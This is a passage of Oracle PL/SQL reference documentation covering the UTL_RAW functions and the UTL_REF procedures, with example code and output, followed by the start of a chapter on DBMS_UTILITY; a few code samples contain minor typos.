r6 | Sixth piece of raw data to be concatenated
r7 | Seventh piece of raw data to be concatenated
r8 | Eighth piece of raw data to be concatenated
r9 | Ninth piece of raw data to be concatenated
r10 | Tenth piece of raw data to be concatenated
r11 | Eleventh piece of raw data to be concatenated
r12 | Twelfth piece of raw data to be concatenated

9.2.3.8.1 Exceptions

The VALUE_ERROR exception (ORA-6502) is raised if the returned raw string exceeds 32K. The documentation from Oracle 7.3 and 8.0 indicates that this is to be revised in a future release, so don't count on this exception to remain unchanged.

9.2.3.8.2 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(CONCAT, WNDS, RNDS, WNPS, RNPS);

9.2.3.8.3 Example

For an example of CONCAT, see the example for TRANSLATE.

9.2.3.9 The UTL_RAW.CONVERT function

The CONVERT function converts the input raw string r from one installed NLS character set to another installed NLS character set. Here's the specification:

FUNCTION UTL_RAW.CONVERT
   (r IN RAW
   ,to_charset IN VARCHAR2
   ,from_charset IN VARCHAR2)
RETURN RAW;

Parameters are summarized in the following table.

Parameter | Description
r | The raw string to be converted
to_charset | The name of the output NLS character set
from_charset | The name of the input NLS character set

9.2.3.9.1 Exceptions

The VALUE_ERROR exception (ORA-6502) is raised if the input raw string is missing, NULL, or has zero length. This exception is also raised if the from_charset or to_charset parameters are missing, NULL, zero length, or name an invalid character set. The documentation from both Oracle 7.3 and 8.0 indicates that this is to be revised in a future release, so don't count on this exception to remain unchanged.

9.2.3.9.2 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(CONVERT, WNDS, RNDS, WNPS, RNPS);

9.2.3.10 The UTL_RAW.COPIES function

The COPIES function concatenates the input raw string r, n number of times. Here's the specification:

FUNCTION UTL_RAW.COPIES
   (r IN RAW
   ,n IN NUMBER)
RETURN RAW;

The parameters for this program are summarized in this table.

Parameter | Description
r | The input raw string that is to be copied
n | The number of copies of the input string to make (must be positive)

9.2.3.10.1 Exceptions

The VALUE_ERROR exception (ORA-6502) is raised if the input raw string r is missing, NULL, or has zero length. This exception is also raised if the input number of copies n is less than 1 (n < 1). The documentation from both Oracle 7.3 and 8.0 indicates that this is to be revised in a future release, so don't count on this exception to remain unchanged.

9.2.3.10.2 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(COPIES, WNDS, RNDS, WNPS, RNPS);

9.2.3.10.3 Example

Here is an example of the COPIES function:

DECLARE
  r_string1      RAW(64);
  r_repeat       RAW(16);

BEGIN
  r_repeat := UTL_RAW.CAST_TO_RAW('Test ');
  r_string1 := UTL_RAW.COPIES(r_repeat,4);
  DBMS_OUTPUT.PUT_LINE (
     'r_string1='||UTL_RAW.CAST_TO_VARCHAR2(r_string1));
END;
/

Sample output follows:

r_string1=Test Test Test Test

9.2.3.11 The UTL_RAW.LENGTH function

The LENGTH function returns the number of bytes in the raw input string given by the r parameter,

FUNCTION UTL_RAW.LENGTH
   (r IN RAW)
RETURN NUMBER;

where r is the raw input string.

9.2.3.11.1 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(LENGTH, WNDS, RNDS, WNPS, RNPS);

9.2.3.11.2 Example

Here is an example of the LENGTH function:

  r_1            RAW(32000);
  r_2            RAW(32000);
  r_3            RAW(32000);
BEGIN
  r_1 := UTL_RAW.XRANGE (hextoraw('00'),hextoraw('FF'));
  r_2 := UTL_RAW.CONCAT (r_1,r_1,r_1,r_1,r_1,r_1,r_1,r_1);
  r_3 := UTL_RAW.CONCAT (r_2,r_2,r_2,r_2,r_2,r_2,r_2,r_2);
  DB<S_OUTPUT.PUT_LINE ('Length of r_1='||UTL_RAW.LENGTH(r_1));
  DBMS_OUTPUT.PUT_LINE ('Length of r_2='||UTL_RAW.LENGTH(r_2));
  DBMS_OUTPUT.PUT_LINE ('Length of r_3='||UTL_RAW.LENGTH(r_3));
END;
/

Sample output follows:

Length of r_1=256
Length of r_2=2048
Length of r_3=16384

9.2.3.12 The UTL_RAW.OVERLAY function

The OVERLAY function overwrites the specified section of the target raw string with the string specified in the overlay_str parameter and returns the overwritten raw string. The overwriting starts pos bytes into the target string and continues for len bytes, right-padding the target with the pad parameter as needed to extend the target, if necessary. The len parameter must be greater than 0 and pos must be greater than 1. If pos is greater than the length of the target string, then the target is right-padded with pad before the overlaying begins. Here's the specification:

FUNCTION UTL_RAW.OVERLAY
   (overlay_str IN RAW
   ,target IN RAW
   ,pos IN BINARY_INTEGER DEFAULT 1
   ,len IN BINARY_INTEGER DEFAULT NULL
   pad IN RAW DEFAULT NULL)
RETURN RAW;

The parameters for this program are summarized in the following table.

Parameter | Description
overlay_str | The raw string used to overwrite to target
target | The raw string that is to be overlaid/overwritten
pos | The byte position in the target to begin overlaying; the default is 1
len | The number of bytes to overwrite; the default is the length of overlay_str
pad | The pad character to fill in extra space if needed; the default is 0x00

9.2.3.12.1 Exceptions

The VALUE_ERROR exception (ORA-6502) is raised if one of the folowing occurs:

  • The input raw string overlay is NULL or has zero length

  • The input target is missing or undefined

  • The length of the target exceeds the maximum length of a raw, len < 0, or pos < 1

The documentation from both version 7.3 and 8.0 indicates that this is to be revised in a future release, so don't count on this exception to remain unchanged.

9.2.3.12.2 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(OVERLAY, WNDS, RNDS, WNPS, RNPS);

9.2.3.12.3 Example

Here is an example of the OVERLAY function:

DECLARE
  r_input        RAW(40);
  r_overlay      RAW(40);
  start_position INTEGER;
  overlay_length INTEGER;
  r_pad          RAW(2);
  r_output       RAW(40);

BEGIN
  -- set the parameters
  r_input := UTL_RAW.CAST_TO_RAW (
     'This is the full length text string');
  r_overlay := UTL_RAW.CAST_TO_RAW ('overlaid part');
  start_position := 13;
  overlay_length := 8;
  r_pad := UTL_RAW.CAST_TO_RAW ('.');
  r_output := UTL_RAW.OVERLAY (
     r_overlay, r_input, start_position, overlay_length,r_pad);

  DBMS_OUTPUT.PUT_LINE (
     'r_input        ='|| utl_raw.cast_to_varchar2(r_input));
  DBMS_OUTPUT.PUT_LINE (
     'r_output(len 8)='|| UTL_RAW.CAST_TO_VARCHAR2(r_output));
  overlay_length := 16;
  r_output := UTL_RAW.OVERLAY (
     r_overlay, r_input, start_position , overlay_length, r_pad);
  DBMS_OUTPUT.PUT_LINE (
     'r_output(len16)='|| UTL_RAW.CAST_TO_VARCHAR2(r_output));
END;
/

Sample output follows:

r_input        =This is the full length text string
r_output(len 8)=This is the overlaidgth text string
r_output(len16)=This is the overlaid part... string

9.2.3.13 The UTL_RAW.REVERSE function

The REVERSE function reverses the input raw string and returns this reversed string.

FUNCTION UTL_RAW.REVERSE
   (r IN RAW)
RETURN RAW;

9.2.3.13.1 Exceptions

The VALUE_ERROR exception (ORA-6502) is raised if the input raw string (r) is null or has zero length. The documentation from both Oracle 7.3 and 8.0 indicates that this is to be revised in a future release, so don't count on this exception to remain unchanged.

9.2.3.13.2 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(REVERSE, WNDS, RNDS, WNPS, RNPS);

9.2.3.13.3 Example

Here is an example of the REVERSE function:

DECLARE
  r_string       RAW(16);
  r_reverse      RAW(16);

BEGIN
  r_string := UTL_RAW.CAST_TO_RAW('Java Beans');
  r_reverse := UTL_RAW.REVERSE(r_string);
  DBMS_OUTPUT.PUT_LINE (
     'r_string='|| UTL_RAW.CAST_TO_VARCHAR2(r_string));
  DBMS_OUTPUT.PUT_LINE (
     'r_reverse='|| UTL_RAW.CAST_TO_VARCHAR2(r_reverse));
END;

Sample output follows:

r_string=Java Beans
r_reverse=snaeB avaJ

9.2.3.14 The UTL_RAW.SUBSTR function

The SUBSTR function returns a substring of the input raw string r beginning at pos and extending for len bytes. If pos is positive, the substring extends len bytes from the left; if pos is negative, the substring extends len bytes from the right (the end backwards). The value of pos cannot be 0. The default for len is to the end of the string r. If r is NULL, then NULL is returned. Here's the specification:

FUNCTION UTL_RAW.SUBSTR
    (r IN RAW
    ,pos IN BINARY_INTEGER
    ,len IN BINARY_INTEGER DEFAULT NULL)
RETURN RAW;

Parameters are summarized in the following table.

Parameter | Description
r | The input raw string, from which the substring is extracted
pos | The starting position for the substring extraction
len | The length of the substring to extract; the default is to the end of the input string r

9.2.3.14.1 Exceptions

The VALUE_ERROR exception (ORA-6502) is raised if pos is 0 or len is less than 0. The documentation from both Oracle 7.3 and 8.0 indicates that this is to be revised in a future release, so don't count on this exception to remain unchanged.

9.2.3.14.2 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(SUBSTR, WNDS, RNDS, WNPS, RNPS);

9.2.3.14.3 Example

Here is an example of the SUBSTR function:

DECLARE
  r_string       RAW(32);
  r_substring    RAW(16);

BEGIN
  r_string := UTL_RAW.CAST_TO_RAW('This is the test string');
  r_substring := UTL_RAW.SUBSTR(r_string,9,8);
  DBS_OUTPUT.PUT_LINE (
     'r_string='|| UTL_RAW.CAST_TO_VARCHAR2(r_string));
  DBMS_OUTPUT,PUT_LINE (
     'r_substring='|| UTL_RAW.CAST_TO_VARCHAR2(r_substring));
END;

Sample output follows:

r_string=This is the test string
r_substring=the test

9.2.3.15 The UTL_RAW.TRANSLATE function

The TRANSLATE function translates bytes in the input raw sting r, substituting bytes found in from_set with positionally corresponding bytes in to_set. The translated string is returned. Bytes in r that do not appear in from_set are not modified. If from_set is longer than to_set, then the unmatched bytes in from_set are removed from the return string. Here's the specification:

FUNCTION UTL_RAW.TRANSLATE
   (r IN RAW
   ,from_set IN RAW
   ,to_set IN RAW)
RETURN RAW;

Parameters are summarized in the following table.

Parameter | Description
r | The input raw string to be translated
from_set | The list of bytes to translate
to_set | The list of bytes that from_set bytes are translated to

TRANSLATE is similar to TRANSLITERATE; however, with TRANSLATE, the return string can be shorter than the input string r. TRANSLITERATE return strings are always the same length as the input string r. Also, TRANSLATE requires values for from_set, and to_set while TRANSLITERATE has defaults for these inputs.

9.2.3.15.1 Exceptions

The VALUE_ERROR exception (ORA-6502) is raised if the r, from_set, or to_set parameters are NULL or have zero length. The documentation from both Oracle 7.3 and 8.0 indicates that this is to be revised in a future release, so don't count on this exception to remain unchanged.

9.2.3.15.2 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(TRANSLATE, WNDS, RNDS, WNPS, RNPS);

9.2.3.15.3 Example

An example use of TRANSLATE is a switch case function that switches the case of every character in a text string, swapping upper and lowercase characters. This function also makes use of other UTL_RAW functions: CAST_TO_RAW, XRANGE, and CONCAT. This method may not be the most efficient case-switching technique, but it serves to demonstrate the functions nicely.

CREATE OR REPLACE FUNCTION switch_case(c_in IN VARCHAR2)
RETURN VARCHAR2
IS
  r_in           RAW(2000);
  r_out          RAW(2000);
  r_upper        RAW(32);
  r_lower        RAW(32);
  r_upper_lower  RAW(64);
  r_lower_upper  RAW(64);

BEGIN
  /* Convert input to raw */
  r_in := UTL_RAW.CAST_TO_RAW(c_in);

  /* Get raw string of uppercase letters from 'A' to 'Z' */
  r_upper := UTL_RAW.XRANGE(UTL_RAW.CAST_TO_RAW('A'),
     UTL_RAW.CAST_TO_RAW('Z'));

  /* Get raw string of lowercase letters from 'a' to 'z' */
  r_lower := UTL_RAW.XRANGE(UTL_RAW.CAST_TO_RAW('a'),
     UTL_RAW.CAST_TO_RAW('z'));

 /* Create a raw string of uppercase followed by lowercase letters */
  r_upper_lower := UTL_RAW.CONCAT(r_upper , r_lower);

 /* Create a raw string of lowercase followed by uppercase letters */
  r_lower_upper := UTL_RAW.CONCAT(r_lower , r_upper);

  /* Translate upper to lower and lower to upper for the input string */
  r_out := UTL_RAW.TRANSLATE(r_in , r_upper_lower , r_lower_upper );

  /* Convert the result back to varchar2 and return the result */
  return(UTL_RAW.CAST_TO_VARCHAR2(r_out));
END;
/

Sample output follows:

SQL> select switch_case('This Is A Test') from dual;

SWITCH_CASE('THISISATEST')
----------------------------------------------------
tHIS iS a tEST

9.2.3.16 The UTL_RAW.TRANSLITERATE function

The TRANSLITERATE function translates bytes in the input raw sting r, substituting bytes found in from_set with positionally corresponding bytes in to_set. The translated string is returned. Bytes in r that do not appear in from_set are not modified. If from_set is longer than to_set, then the unmatched bytes in from_set are right-padded with the pad byte. The return string is always the same length as the input string r. The specification follows:

FUNCTION UTL_RAW.TRANSLITERATE
   (r IN RAW
   ,to_set IN RAW DEFAULT NULL
   ,from_set IN RAW DEFAULT NULL
   ,pad IN RAW DEFAULT NULL)
RETURN RAW;

TRANSLITERATE is similar to TRANSLATE, but it differs in that the return string is always the same length as the input string (r). TRANSLITERATE is just like TRANSLATE if to_set and from_set are the same length. If from_set is longer than to_set, then to_set is right-padded with the pad byte. TRANSLITERATE allows NULL from_set, to_set, and pad parameters.

Parameters are summarized in the following table.

Parameter | Description
r | Input string to be translated
from_set | The list of bytes to be translated; the default is 0x00 through 0xFF
to_set | The list of bytes that from_set bytes are translated to; the default is NULL
pad | If from_set is shorter than to_set, then this pad byte is the translation character for any unmatched bytes in from_set; the default is 0x00

9.2.3.16.1 Exceptions

The VALUE_ERROR exception (ORA-6502) is raised if r is null or has 0 length. The documentation from both Oracle 7.3 and 8.0 indicates that this is to be revised in a future release, so don't count on this exception to remain unchanged.

9.2.3.16.2 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(TRANSLITERATE, WNDS, RNDS, WNPS, RNPS);

9.2.3.16.3 Example

An example use of TRANSLITERATE is a make_lower function that switches uppercase characters in a text string to lowercase characters, converting spaces, dashes, and dots to underscores. This function also makes use of other UTL_RAW functions: CAST_TO_RAW, XRANGE, and CONCAT. This method may not be the most efficient technique for this conversion, but it serves to demonstrate some UTL_RAW functions in an easily understandable context.

CREATE OR REPLACE FUNCTION make_lower(c_in IN VARCHAR2)
RETURN VARCHAR2
IS
  r_in           RAW(2000);
  r_out          RAW(2000);
  r_upper        RAW(48);
  r_lower        RAW(32);
  r_underscore   RAW(1);
BEGIN
  -- convert the input to raw
  r_in := UTL_RAW.CAST_TO_RAW(c_in);
  r_underscore := UTL_RAW.CAST_TO_RAW('_');
  -- start the from characters with the uppercase letters
  r_upper :=
UTL_RAW.XRANGE(UTL_RAW.CAST_TO_RAW('A'),UTL_RAW.CAST_TO_RAW('Z'));
  -- space, dash and dot to the from list of characters
  r_upper := UTL_RAW.CONCAT(r_upper,UTL_RAW.CAST_TO_RAW(' ')
            ,UTL_RAW.CAST_TO_RAW('-'),UTL_RAW.CAST_TO_RAW('.'));
  -- set the to characters to be lowercase letters
  r_lower :=
UTL_RAW.XRANGE(UTL_RAW.CAST_TO_RAW('a'),UTL_RAW.CAST_TO_RAW('z'));
  -- convert the uppercase to lowercase and punctuation marks to underscores
  r_out := UTL_RAW.TRANSLITERATE(r_in , r_lower , r_upper, r_underscore);
  -- return the character version
  return(UTL_RAW.CAST_TO_VARCHAR2(r_out));
END;

Sample output follows:

SQL> exec DBMS_OUTPUT.PUT_LINE (make_lower('This.is-A tEst'));
this_is_a_test

9.2.3.17 The UTL_RAW.XRANGE function

The XRANGE function returns a raw string containing all bytes in order beginning with the start_byte parameter and ending with end_byte. If start_byte is greater than end_byte, then the return string wraps from 0XFF to 0X00.

FUNCTION UTL_RAW.XRANGE
   (start_byte IN RAW DEFAULT 0x00
   ,end_byte IN RAW DEFAULT 0xFF)
RETURN RAW;

The parameters for this program are summarized in the following table.

Parameter | Description
start_byte | Start byte; the default is 0x00.
end_byte | End byte; the default is 0xFF.

9.2.3.17.1 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(XRANGE, WNDS, RNDS, WNPS, RNPS);

9.2.3.17.2 Example

For an example of XRANGE, see the example for TRANSLATE or TRANSLITERATE.

9.2.4 UTL_REF: Referencing Objects (Oracle8.0.4)

The UTL_REF package provides a PL/SQL interface that allows you to select and modify objects (instances of an object type) in an object table without having to specify or know about the underlying database table. With UTL_REF, you only need a reference to the object in order to identify it in the database and perform the desired operations. With UTL_REF, you can do any of the following:

  • Select or retrieve an object from the database

  • Lock an object so that no other session can make changes to the object

  • Select and lock an object in a single operation (similar to SELECT FOR UPDATE)

  • Update the contents of an object

  • Delete an object

You will typically use UTL_REF programs when you have references to an object and one of the following is true:

  • You do not want to have to resort to an SQL statement to perform the needed action.

  • You do not even know the name of the table that contains the object, and therefore cannot rely on SQL to get your job done.

Before getting into the details, let's start with an initial example of how you might use the UTL_REF packages.

You will be able to use UTL_REF programs only to select or modify objects in an object table. An object table is a table in which each row of the table is an object. Here are the steps one might take to create an object table.

First, create an object type:

CREATE TYPE hazardous_site_t IS OBJECT (
   name VARCHAR2(100),
   location VARCHAR2(100),
   dixoin_level NUMBER,
   pcb_level NUMBER,
   METHOD FUNCTION cleanup_time RETURN NUMBER);

Now you can create a table of these objects:

CREATE TABLE hazardous_sites OF hazardous_site_t;

As you will see in the headers for the UTL_REF programs, Oracle has provided a special parameter-passing syntax called ANY. This syntax allows us to pass references and objects of any object type in and out of the programs. This behavior is not otherwise available in Oracle8 built-in packages or the code that you yourself can write using object types.

9.2.4.1 Getting Started with UTL_REF

The UTL_REF package is created when the Oracle8.0.4 (or later) database is installed. The utlref.sql script (found in the built-in packages source code directory, as described in Chapter 1) contains the source code for this package's specification. The script is called by catproc.sql, which is normally run immediately after the database is created. The script creates the public synonym UTL_REF for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of the package.

Every program in this package runs as "owner." This means that programs in the UTL_REF package operate within the privileges of the session running those programs. You will be able to select and modify only objects to which your session has been granted the necessary privileges.

9.2.4.1.1 UTL_REF programs

Table 9.5 lists the programs defined for the UTL_REF packages.

Table 9.5: UTL_REF Programs
Name | Description | Use in SQL
DELETE_OBJECT | Deletes an object from the underlying object table | No
LOCK_OBJECT | Locks an object so that another session cannot change the object | No
SELECT_OBJECT | Selects an object based on its reference, returning that object as an OUT argument | No
UPDATE_OBJECT | Updates the object specified by the reference by replacing it with the object you pass to the program | No

UTL_REF does not declare any nonprogram elements.

9.2.4.1.2 UTL_REF exceptions

UTL_REF does not declare any exceptions. However, you may encounter any of the following Oracle exceptions when running the UTL_REF programs:

ORA-00942

Insufficient privileges. You must have the appropriate privileges on the underlying database table.

ORA-01031

Insufficient privileges. You attempted to update an object table on which you have only SELECT privileges. You must have the appropriate privileges on the underlying database table.

ORA-08177

Cannot serialize access for this transaction. You have tried to change data after the start of a serialized transaction.

ORA-00060

Deadlock detected while waiting for resource. Your session and another session are waiting for a resource locked by the other. You will need to wait or ROLLBACK.

ORA-01403

No data found. The REF is NULL or otherwise not associated with an object in the database.

9.2.5 UTL_REF Interface

This section describes the programs available through the UTL_REF package. A single, extended example at the end of the chapter shows how you might be able to take advantage of the UTL_REF programs in your own applications.

9.2.5.1 The UTL_REF.DELETE_OBJECT procedure

Use the DELETE_OBJECT procedure to delete an object (actually, the row containing that object) specified by the given reference. The header is,

PROCEDURE UTL_REF.DELETE_(reference IN REF ANY);

where reference identifies the object.

This program effectively substitutes for the following kind of SQL statement:

DELETE FROM the_underlying_object_table t
 WHERE REF (t) = reference;

In contrast to this SQL statement, with DELETE_OBJECT you will not need to specify the name of the underlying database object table to retrieve the object.

9.2.5.1.1 Restrictions

Note the following restrictions on calling DELETE_OBJECT:

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

  • You cannot call this program from within an SQL statement, either directly or indirectly.

9.2.5.2 The UTL_REF.LOCK_OBJECT procedure

Use the LOCK_OBJECT procedure to lock or lock and retrieve an object for a given reference. The header is overloaded as follows:

PROCEDURE UTL_REF.LOCK_OBJECT (reference IN REF ANY);

PROCEDURE UTL_REF.LOCK_OBJECT
   (reference IN REF ANY
   ,object IN OUT ANY);

Parameters are summarized in the following table.

Parameter | Description
reference | The reference to the object
object | The value of the object selected from the database (if supplied)

If you call LOCK_OBJECT and do not provide a second argument, then the object will be locked, but that object will not be returned to the calling program.

This program effectively substitutes for the following type of SQL statement:

SELECT VALUE (t)
  INTO object
  FROM the_underlying_object_table t
 WHERE REF (t) = reference
   FOR UPDATE;

In contrast to this SQL statement, with LOCK_OBJECT you will not need to specify the name of the underlying database object table to retrieve the object.

NOTE: It is not necessary to lock an object before you update or delete it. By requesting a lock, however, you ensure that another session cannot even attempt to make changes to that same object until you commit or roll back.

9.2.5.2.1 Restrictions

Note the following restrictions on calling LOCK_OBJECT:

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

  • You cannot call this program from within an SQL statement, either directly or indirectly.

9.2.5.3 The UTL_REF.SELECT_OBJECT procedure

Use the SELECT_OBJECT procedure to retrieve an object for a given reference. The header follows:

PROCEDURE UTL_REF.SELECT_OBJECT
   (reference IN REF ANY
   ,object IN OUT ANY);

Parameters are summarized in the following table.

Parameter | Description
reference | The reference to the object
object | The value of the object selected from the database

This program effectively substitutes for the following type of SQL statement:

SELECT VALUE (t)
  INTO object
  FROM the_underlying_object_table t
 WHERE REF (t) = reference;

In contrast to this SQL statement, with SELECT_OBJECT you will not need to specify the name of the underlying database object table to retrieve the object.

9.2.5.3.1 Restrictions

Note the following restrictions on calling SELECT_OBJECT:

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

  • You cannot call this program from within an SQL statement, either directly or indirectly.

9.2.5.3.2 Example

In the following procedure, I use the SELECT_OBJECT built-in to retrieve the object based on the passed-in reference:

CREATE OR REPLACE PROCEDURE show_emp (emp_in IN REF employee_t)
IS
   emp_obj employee_t
BEGIN
   UTL_REF.SELECT_OBJECT (emp_in, emp_obj);
   DBMS_OUTPUT.PUT_LINE (emp_obj.name);
END;.

9.2.5.4 The UTL_REF.UPDATE_OBJECT procedure

Use the UPDATE_OBJECT procedure to replace an object in the database specified by a given reference with your "replacement" object. Here's the header:

PROCEDURE UTL_REF.UPDATE_OBJECT
   (reference IN REF ANY
   ,object IN ANY);

Parameters are summarized in the following table.

Parameter | Description
reference | The reference to the object
object | The object that is to be placed in the row of the object table specified by the reference

This program effectively substitutes for the following type of SQL statement:

UPDATE the_underlying_object_table t
   SET VALUE (t) = object
 WHERE REF (t) = reference;

In contrast to this SQL statement, with UPDATE_OBJECT you will not need to specify the name of the underlying database object table to retrieve the object.

9.2.5.4.1 Restrictions

Note the following restrictions on calling UPDATE_OBJECT:

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

  • You cannot call this program from within an SQL statement, either directly or indirectly.

9.2.6 UTL_REF Example

Let's start with an object type that can hold various types of documents

CREATE OR REPLACE TYPE Document_t AS OBJECT (
   doc_id NUMBER,
   author VARCHAR2(65),
   created DATE,
   revised DATE,
   body BLOB,
   MEMBER PROCEDURE update_revised
);
/

To keep this example simple, we'll implement only a single object method:

CREATE OR REPLACE TYPE BODY Document_t
AS
   MEMBER PROCEDURE update_revised
   IS
   BEGIN
      revised := SYSDATE;
   END;
END;
/

Here's a table that will hold any kind of document:

CREATE TABLE documents OF Document_t;

We might have a requisition type that has a special type of document. Each requisition contains a REF to a particular document.

CREATE OR REPLACE TYPE Requisition_t AS OBJECT (
   doc_ref REF Document_t,
   needed DATE,
   approved DATE,
   MEMBER PROCEDURE update_revision_date,
   MEMBER FUNCTION has_valid_need_date RETURN BOOLEAN
);
/

In a moment, we're going to look at an example of UTL_REF that implements the type body of Requisition_t. But let's first look at life without UTL_REF. Not only do we have to write SQL, we also have to know the table name in each statement where we need access to a persistent object. In fact, the following methods are hard-coded to work with only one particular table implementation (not good):

CREATE OR REPLACE TYPE BODY Requisition_t
AS
   MEMBER FUNCTION has_valid_need_date RETURN BOOLEAN
   IS
      document Document_t;
      CURSOR doc_cur IS                /* Ugly! */
         SELECT VALUE(d)
           FROM documents d
          WHERE REF(d) = SELF.doc_ref;
   BEGIN
      OPEN doc_cur;
      FETCH doc_cur INTO document;    /* Ditto */
      CLOSE doc_cur;
      IF document.created > SELF.approved
      THEN
         RETURN FALSE;
      ELSE
         RETURN TRUE;
      END IF;
   END;
   MEMBER PROCEDURE update_revision_date
   IS
   BEGIN
      UPDATE documents d            /* Even uglier */
         SET revised = SYSDATE
       WHERE REF(d) = SELF.doc_ref;
   END;
END;
/

Let's turn now to see what UTL_REF can do for us:

CREATE OR REPLACE TYPE BODY Requisition_t
AS
   MEMBER FUNCTION has_valid_need_date RETURN BOOLEAN
   IS
      document Document_t;
   BEGIN
      /* UTL_REF.SELECT_OBJECT allows us to retrieve the document object
      || from persistent database storage into a local variable.  No muss,
      || no fetch, no bother!  SELECT_OBJECT finds the table and object
      || for us.
      */
      UTL_REF.SELECT_OBJECT (SELF.doc_ref, document);
      /* Now that we have retrieved the document object, we can
      || easily gain access to its attributes:
      */
      IF document.created > SELF.approved
      THEN
         RETURN FALSE;
      ELSE
         RETURN TRUE;
      END IF;
   END;
   MEMBER PROCEDURE update_revision_date
   IS
      document Document_t;
   BEGIN
      /* To update the revision date of the requisition object,
      || we'll simply "delegate" to the referenced document.
      || First we retrieve it...
      */
      UTL_REF.SELECT_OBJECT (SELF.doc_ref, document);
      /* ...then we can invoke a method on the newly retrieved
      || (but transient) object.  Notice that we do NOT update
      || the attribute directly, but rely instead on the public
      || method supplied for this purpose.
      */
      document.update_revised;
      /* ...and now we easily update the data in the underlying table
      || (whatever table it is...we don't know or care!)
      */
      UTL_REF.UPDATE_OBJECT(SELF.doc_ref, document);
   END;
END;
/

Since UTL_REF frees us from dependence on the specific underlying table, it allows us to achieve greater reuse, portability, modularity, and resilience to change.

Previous: 9.1 DBMS_ROWID: Working with the ROWID Pseudo-Column (Oracle8 only) | Oracle Built-in Packages | Next: 10. Miscellaneous Packages
9.1 DBMS_ROWID: Working with the ROWID Pseudo-Column (Oracle8 only) | Book Index | 10. Miscellaneous Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] Miscellaneous Packages

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 9.2 UTL_RAW: Manipulating Raw Data Chapter 10 Next: 10.2 DBMS_DESCRIBE: Describing PL/SQL Program Headers

10. Miscellaneous Packages

Contents:
DBMS_UTILITY: Performing Miscellaneous Operations
DBMS_DESCRIBE: Describing PL/SQL Program Headers
DBMS_DDL: Compiling and Analyzing Objects
DBMS_RANDOM: Generating Random Numbers (Oracle8 Only)

You can't find a neat category for everything, can you? This chapter brings together a variety of useful packages you are sure to dip into on a regular basis:

DBMS_UTILITY

The actual "miscellaneous" package. It offers programs to free unused user memory, parse comma-delimited lists, calculate the elapsed time of PL/SQL programs, and much more. You never know what you'll find popping up next in DBMS_UTILITY!

DBMS_DESCRIBE

Contains a single procedure, DESCRIBE_PROCEDURE, which you can use to get information about the parameters of a stored program.

DBMS_DDL

Contains programs to recompile stored code, analyze objects in your schema, and modify the referenceability of object identifiers in Oracle8.

DBMS_RANDOM

New to Oracle8, supplies PL/SQL developers with a random number generator.

10.1 DBMS_UTILITY: Performing Miscellaneous Operations

The DBMS_UTILITY package is the "miscellaneous package" for PL/SQL. It contains programs that perform a wide variety of operations (listed in Table 10.1).

TIP: I recommend that whenever you install a new version of the Oracle database, you scan the contents of the dbmsutil.sql file. Check to see if Oracle has added any new programs or changed the functionality of existing programs.

10.1.1 Getting Started with DBMS_UTILITY

The DBMS_UTILITY package is created when the Oracle database is installed. The dbmsutil.sql script (found in the built-in packages source code directory, as described in Chapter 1, Introduction) contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS_UTILITY for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

Table 10.1 summarizes the programs available with DBMS_UTILITY.

Table 10.1: DBMS_UTILITY Programs
Name | Description | Use in SQL
ANALYZE_DATABASE | Analyzes all the tables, clusters, and indexes in a database | No
ANALYZE_PART_OBJECT | Runs the equivalent of the SQL ANALYZE TABLE or ANALYZE INDEX command for each partition of the object, using parallel job queues (PL/SQL8 only) | No
ANALYZE_SCHEMA | Analyzes all the tables, clusters, and indexes in the specified schema | No
COMMA_TO_TABLE | Parses a comma-delimited list into a PL/SQL table (PL/SQL Release 2.1 and later) | No
COMPILE_SCHEMA | Compiles all procedures, functions, and packages in the specified schema | No
DATA_BLOCK_ADDRESS_BLOCK | Gets the block number part of a data block address | Yes
DATA_BLOCK_ADDRESS_FILE | Gets the file number part of a data block address | Yes
DB_VERSION | Returns the database version and compatibility information for the current instance (PL/SQL8 only) | No
EXEC_DDL_STATEMENT | Executes the provided DDL statement (PL/SQL8 only) | No
FORMAT_CALL_STACK | Returns the current module call stack in a formatted display | No
FORMAT_ERROR_STACK | Returns the current error stack in a formatted display | No
GET_HASH_VALUE | Returns a hash value for a string; used to obtain unique (it is hoped) integer values for strings | No
GET_PARAMETER_VALUE | Retrieves information about a parameter in the database parameter file, otherwise known as the INIT.ORA file (PL/SQL8 only) | Yes
GET_TIME | Returns the elapsed time since an arbitrary time in 100ths of seconds | No
IS_PARALLEL_SERVER | Returns TRUE if the database instance was started in parallel server mode | No
MAKE_DATA_BLOCK_ADDRESS | Creates a data block address given a file number and a block number | Yes
NAME_RESOLVE | Resolves the name of an object into its component parts | No
NAME_TOKENIZE | Returns the individual components or tokens in a string | No
PORT_STRING | Returns a string describing the platform and version of the current database | Yes
TABLE_TO_COMMA | Moves the names in a PL/SQL table into a comma-delimited list | No

